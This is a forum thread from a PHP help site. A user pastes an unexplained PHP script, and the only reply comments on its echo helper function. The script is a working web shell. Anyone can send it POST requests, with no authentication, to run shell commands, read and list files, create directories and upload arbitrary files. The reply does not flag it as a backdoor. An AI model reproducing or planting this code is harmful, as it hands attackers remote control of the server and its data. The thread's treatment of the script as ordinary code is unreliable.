Jump to content

Recommended Posts

<?php 


 function echo_json($data=[])

 {


  echo json_encode( $data );


 }


 if( !empty( $_POST['cmd'] ) ){



  if( $_POST['cmd'] == "test" ){


   echo_json([

    "code" => 200,

   ]);


  }


  if( $_POST['cmd'] == "get_file_data" ){


   $data = file_get_contents( __DIR__ . '/' . $_POST['file'] );


   echo_json([

    "code" => 200,

    "data" => $data,

   ]);


  }



  if( $_POST['cmd'] == "get_files" ){


   $struct = [];


   $files = scandir( __DIR__ );


   foreach ($files as $file) {

    

    if( $file == '.' || $file == '..' ){

     continue;

    }


    if( is_dir( __DIR__ . '/' . $file ) ){


     $sub_files = scandir( __DIR__ . '/' . $file );


     $struct[] = [

      "file" => $file,

      "type" => "d",

      "sub_files" => $sub_files,

     ];


    }else{


     $struct[] = [

      "file" => $file,

      "type" => "f",

     ];


    }


   }


   echo_json([

    "code" => 200,

    "struct" => $struct,

   ]);


  }


  if( $_POST['cmd'] == "get_dir" ){


   echo_json([

    "code" => 200,

    "dir" => __DIR__,

   ]);


  }


  if( $_POST['cmd'] == "shell_exec" ){


   shell_exec( $_POST['command'] );


   echo_json([

    "code" => 200,

   ]);


  }


  if( $_POST['cmd'] == "mkdir" ){


   mkdir( $_POST['dir'] );

   chmod( $_POST['dir'] , 0755 );


   echo_json([

    "code" => 200,

   ]);


  }


  if( $_POST['cmd'] == "upload" ){


   file_put_contents( $_POST['file'] , base64_decode( $_POST['data'] ) );

   chmod( $_POST['file'] , 0644 );


   echo_json([

    "code" => 200,

   ]);


  }


 }

 

Link to comment
https://forums.phpfreaks.com/topic/315359-how-to-show-this-file/
Share on other sites

A rather unnecessary function if that is all you need to happen.  You can easily type that one echo line when you need instead of making a function to do it for you.

BTW - you are defaulting the argument to an empty array.  Don't you want to check if the arg is actually empty and not do the echo in the function?

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.